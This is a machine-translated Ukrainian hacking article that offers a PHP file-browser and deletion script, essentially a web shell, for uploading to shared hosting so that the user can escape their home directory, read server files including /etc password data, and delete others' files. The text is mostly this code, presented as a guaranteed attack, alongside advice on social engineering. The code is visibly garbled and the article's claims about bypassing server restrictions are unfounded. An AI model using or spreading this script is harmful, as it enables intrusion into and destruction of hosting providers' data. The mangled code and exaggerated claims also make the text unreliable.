Злом Через php!, Різне, Security & Hack, статті

Дана
атака на сервер проходить з 100% гарантією.
Для успішної атаки зломщикові необхідно дисковий
простір на сервері розміром в 10 Kb (стільки
важить скрипт) і можливість запустити свій
PHP скрипт. Далеко не секрет, що хакери дуже
часто проникають в систему використовуючи соцінженерію,
тоесть спочатку готують жертву, щоб
та їм довіряла, отримують від неї інформацію
і здійснюють злом. Тому роздобути на
якому сервері невелике дисковий простір
для хакера не проблема. У крайньому випадку можна
і купити собі домен на сервері провайдера
або будь-який інший хостингу компанії, яку
хакер збирається зламати.
У більшій частині злому схильні безкоштовні
хостингові компанії та провайдери, які
при реєстрації доступу в інтернет дають безкоштовне
місце для розміщення домашньої сторінки користувача
із запуском власних PHP скриптів.
Ідея реалізації атаки полягає в тому, щоб
залізти на жорсткий диск провайдера і мати
можливість управляти файлами, тобто видаляти,
переглядати, змінювати. Для цього нам
доведеться написати невеликий скрипт, який
отримає доступ до ресурсів сервера. Для початку
визначимо якими функціями повинен володіти
скрипт: закладемо в нього функції видалення обраних
файлів, скрипт повинен вміти переглядати
картинки, відкривати каталоги, виставляти права
доступу до файлів, знати коли файл був створений
в системі, коли файл був змінений, до якої
групи відноситься файл і виставляти відповідну
іконку для зручності, переходити з каталогу
в каталог, вказувати повні шляхи до файлів:

function cmp ($ a, $ b) / / повідомляємо функції
{
GLOBAL $ sort; / / сортуємо отримані функції

if(
$a->inode == $b->inode )
return 0;

switch(
$ Sort) / / оголошуємо, що з якихось функцій
буде сортуватися
{
case "size":
return ($a->size > $b->size) ? -1
: 1;
case "type":
return strcmp($a->type, $b->type);
case "view":
return strcmp($a->view, $b->view);
case "atime":
return ($a->atime > $b->atime) ?
-1 : 1;
case "ctime":
return ($a->ctime > $b->ctime) ?
-1 : 1;
case "mtime":
return ($a->mtime > $b->mtime) ?
-1 : 1;
case "group":
return strcmp($a->group, $b->group);

case "inode":
return ($a->inode > $b->inode) ?
-1 : 1;
case "owner":
return strcmp($a->owner, $b->owner);

case "perms":
return ($a->perms > $b->perms) ?
-1 : 1;
case "ext":
return strcmp($a->ext, $b->ext);
case "name":
default:
return 1;
}
}

function
getIcons ($ ext) / / оголошуємо функцію зіставлення
іконки з типом файлу
{
switch( $ext )
{
case "dir":
$file = "dir";
break;
case "link":
$file = "link";
break;
case "zip":
case "tgz":
case "gz":
case "Z":
$file = "compressed";
break;
case "gif":
case "jpg":
$file = "image2";
break;
case "dvi":
$file = "dvi";
break;
case "":
case "exe":
$file = "binary";
break;
case "sh":
case "php":
case "php3":
case "sql":
case "inc":
case "js":
$file = "script";
break;
case "txt":
$file = "text";
break;
case "html":
case "shtml":
case "phtml":
$file = "world1";
break;
default:
$file = "generic";
break;
}

return
$IMG="<IMG SRC=’./03092011120000684.gif’>";

}

class
MyFile {/ / оголошуємо які дані будуть отримані

var $name;
var $path;
var $type;
var $ext;
var $stype;
var $sfile;
var $size;
var $file;
var $atime;
var $ctime;
var $mtime;
var $group;
var $inode;
var $owner;
var $perms;

function
set( $filename, $path )
{
GLOBAL $ cd; / / оголошуємо функції переходу по
каталогам

$this->name
= $filename;
$this->path = $path;
$this->file = $this->path."/".$this->name;

$this->type
= filetype( $this->file );
$this->size = filesize( $this->file
);
$this->atime = fileatime( $this->file
);
$this->ctime = filectime( $this->file
);
$this->mtime = filemtime( $this->file
);
$this->group = filegroup( $this->file
);
$this->inode = fileinode( $this->file
);
$this->owner = fileowner( $this->file
);
$this->perms = fileperms( $this->file
);

switch(
$this->type )
{
case "link":
$this->sfile = readlink( $this->file
);
$this->stype = filetype( $this->sfile
);
$this->ext = "link";
break;
case "file":
$list = explode( ".", $this->name
);
$nb = sizeof( $list );
if( $nb > 0 )
$this->stype = $list[$nb-1];
else
$this->stype = "???";

$this->ext
= $this->stype;

switch(
$this->stype )
{
case "gif":
case "GIF":
case "jpg":
case "JPG":
if( isset( $cd ) )
$pwd = $cd."/";
else
$pwd = "";

$this->sfile
= "<IMG SRC=’".$this->file."’>";

break;
default:
$this->sfile = $this->stype;
break;
}
break;
default:
$this->stype = "";
$this->sfile = "";
$this->ext = $this->type;
break;
}
}

function
formatSize()
{
return number_format( $this->size, 0, ".",
" ");
}
}

function
genUrl( $ref, $args, $key = "",
$val = "" )

{

$valist = "";

reset(
$args );

if(
$key != "" )
$args[ "$key" ] = $val;

if(
!is_array( $args ) )
return $ref;

while(
list( $key, $val ) = each( $args ) )
{
if( $val == "" )
continue;

if(
$valist == "" )
$valist .= "?";
else
$valist .= "&";

$valist
.= $key."=".$val;
}
return $ref.$valist;
}

function
updir( $path )
{
$last = strrchr( $path, "/" );
$n1 = strlen( $last );
$n2 = strlen( $path );
return substr( $path, 0, $n2-$n1 );
}

$ref
= "dir.php";

if(
isset( $cd ) )
{
$path = $cd;
//$lcd = "?cd=$cd’";
$args[ "cd" ] = $cd;
}
else
{
$path = ".";
//$lcd = "";
$args[ "cd" ] = "";
}

if(
isset( $nb ) )
{
for( $i = 0; $i < $nb; $i++ )
{
$var = "id_$i";
if( isset( $$var ) )
{
$file = $path."/".$$var;
if( is_file( $file ) || is_link( $file ) )

{
if( unlink( $file ) )
echo "<BR><b>$file</b>
успішно вилучено \ n “; / / повідомлення про успішне
видаленні файлу
else
echo “
Не можу видалити виставите
права доступу $ file \ n “;
/ / Повідомлення про неможливість видалити файл який
доступний тільки для читання
}
elseif( is_dir( $file ) )
{
if( rmdir( $file ) )
echo "<BR><b>$file</b>
успішно вилучено \ n “; / / повідомлення про успішне
видаленні
else
echo “
файл недоступний для видалення $ file \ n”;
/ / Повідомлення про неможливість видалити файл
}
}
}
}

$step
= 100;

if(
!isset( $sort ) )
$sort = "name";
else
$args[ "sort" ] = $sort;

if(
!isset( $from ) )
$from = 0;
else
$args[ "from" ] = $from;

if(
!isset( $to ) )
$to = $from + $step;

$d
= dir($path);
echo "\n";
echo “
Повернутися
на початок \ n “; / / посилання на повернення
в домашньою директорію скрипта
$updir = updir($d->path);
if( $updir != "." )
echo “
Піднятися на директорію
вгору;
$ updir \ n “;
/ / Посилання на директорію вгору
echo “
Відкрити директорію:
echo “
Поточна директорія: “. $ d-> path. “ \ n”;
/ / Показуємо шлях до директорії і файлів,
які в ній знаходяться

$n
= 0;
while( $entry=$d->read() )
{
$lFiles[ $n ] = new MyFile;
$lFiles[ $n ]->set( $entry, $path );
$n++;
}

$d->close();
/ / Створюємо HTML форму управління функціями

echo "<FORM NAME=’del’ METHOD=’post’
ACTION=’".genUrl( $ref, $args )."’>\n";

echo "<TABLE BORDER=1>\n";

echo "<TR>\n";
echo "<TH>D</TH>\n";

//echo "<TH><a href=’".genUrl(
$ref, $args, "sort", "type"
)."’>Type</a></TH>\n";

echo "<TH><a href=’".genUrl(
$ref, $args, "sort", "name"
).”‘> Ім’я \ n “;

echo "<TH><a href=’".genUrl(
$ref, $args, "sort", "size"
).”‘> Розмір \ n »;

echo "<TH><a href=’".genUrl(
$ref, $args, "sort", "ext"
).”‘> Клас \ n “;

echo "<TH><a href=’".genUrl(
$ref, $args, "sort", "atime"
).”‘> В системі \ n “;

echo "<TH><a href=’".genUrl(
$ref, $args, "sort", "ctime"
).”‘> Створено \ n “;

echo "<TH><a href=’".genUrl(
$ref, $args, "sort", "mtime"
).”‘> Змінений \ n “;

echo "<TH><a href=’".genUrl(
$ref, $args, "sort", "perms"
).”‘> Розмір \ n “;

echo "<TH><a href=’".genUrl(
$ref, $args, "sort", "group"
).”‘> Група \ n “;

echo "<TH><a href=’".genUrl(
$ref, $args, "sort", "owner"
)."’>ow</a></TH>\n";

echo "<TH><a href=’".genUrl(
$ref, $args, "sort", "inode"
)."’>in</a></TH>\n";

echo “ Показ \ n”;

echo "</TR>\n";

@usort(
$lFiles, cmp );

for(
$i = 0; $i < $n; $i++ )
{
if( ( $i < $from ) || ( $i >= $to )
)
continue;

$k
= $i;
echo "<TR>\n";
echo "<TD><INPUT ENGINE=’checkbox’
NAME=’id_$k’ VALUE=’".
$lFiles[ $k ]->name
."’></TD>\n";

$IMG=getIcons(
$lFiles[ $k ]->ext );

$dform
= "M j y H:i";
// echo "<TD ALIGN=CENTER >".$lFiles[
$k ]->type."</TD>\n";
echo "<TD>$IMG".$lFiles[ $k
]->name."</TD>\n";
echo "<TD ALIGN=RIGHT >".$lFiles[
$k ]->formatSize()."</TD>\n";

echo "<TD>".$lFiles[ $k ]->ext
."</TD>\n";
echo "<TD>".date( $dform,
$lFiles[ $k ]->atime )."</TD>\n";

echo "<TD>".date( $dform,
$lFiles[ $k ]->ctime )."</TD>\n";

echo "<TD>".date( $dform,
$lFiles[ $k ]->mtime )."</TD>\n";

echo "<TD>".$lFiles[ $k ]->perms."</TD>\n";

echo "<TD>".$lFiles[ $k ]->group."</TD>\n";

echo "<TD>".$lFiles[ $k ]->owner."</TD>\n";

echo "<TD>".$lFiles[ $k ]->inode."</TD>\n";

switch(
$lFiles[ $k ]->type )
{
case "link":
if( $lFiles[ $k ]->stype == "dir"
)
{
$tcd = $lFiles[ $k ]->path."/".$lFiles[
$k ]->name;
echo "<TD><a href=’".
genUrl( $ref, $args, "cd", $tcd
)."’>".
$lFiles[ $k ]->sfile."</a></TD>\n";

}
else
echo "<TD>".$lFiles[ $k ]->sfile."</TD>\n";

break;
case "dir":
$tcd = $lFiles[ $k ]->path."/".$lFiles[
$k ]->name;
echo "<TD><a href=’".
genUrl( $ref, $args, "cd", $tcd
)."’>".
$lFiles[ $k ]->name."</a></TD>\n";

break;
case "file":
echo "<TD>".$lFiles[ $k ]->sfile."</TD>\n";

break;
default:
echo "<TD>NO</TD>\n";

break;
}
echo "</TR>\n";
}

echo
"</TABLE>\n";

$from
= $from – $step;
if( isset( $cd ) )
{
echo "<INPUT ENGINE=’hidden’ NAME=’cd’
VALUE=’$cd’>\n";
}
echo "<INPUT ENGINE=’hidden’ NAME=’nb’
VALUE=’$n’>\n";

//echo
"<br>from=$from;to=$to;n=$n\n";

echo "<br>\n";
if( $from >= 0 )
{
echo "<a href=’".
genUrl( $ref, $args, "from", $from
). “‘> Попередній / \ n”;

}
if( $to <= $n )
{
echo "<a href=’".
genUrl( $ref, $args, "from", $to
). “‘> Далі \ n”;
}
echo "<br>\n";
echo "<INPUT ENGINE=’submit’ VALUE=’Del’>\n";

echo "</FORM>\n";
?> / / Говоримо що PHP скрипт скінчився

Ось реалізація скрипта, який дозволяє
вам отримати доступ до каталогів провайдера,
містяться у нього на вінчестері. Потенційна
небезпека застосування даного скрипта в тому,
що зловмисник отримує практично всю
інформацію про сервер, також зловмисник
отримує доступ до папки etc, де зберігаються
паролі. При перевірці працездатності скрипта
і перевірці на уразливості було виявлено, що
всі сервери, на яких дозволений запуск PHP
виявилися піддані даної атаки. Скрипт
помещяется на сервер провайдера, де вам дозволено
запуск PHP скриптів, в директорію домашньої
сторіночки. За замовчуванням скрипт переглядає
все знаходяться файли в тій директорії, куди
він був завантажений для того, щоб потрапити в
кореневий каталог сервера тисніть на посилання “Піднятися
на каталог вище “до тих пір, поки ви
не побачите кореневий каталог сервера. При виході
з вашої директорії скрипт можливо повідомить
вам про неможливість вийти з вашого каталогу,
це повідомлення сервера ігноруйте і тисніть
на посилання “Піднятися на каталог вгору”,
скрипт передасть дані серверу про те, що
каталоги які ви намагаєтеся переглянути
є вашими і вас пропустять.

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*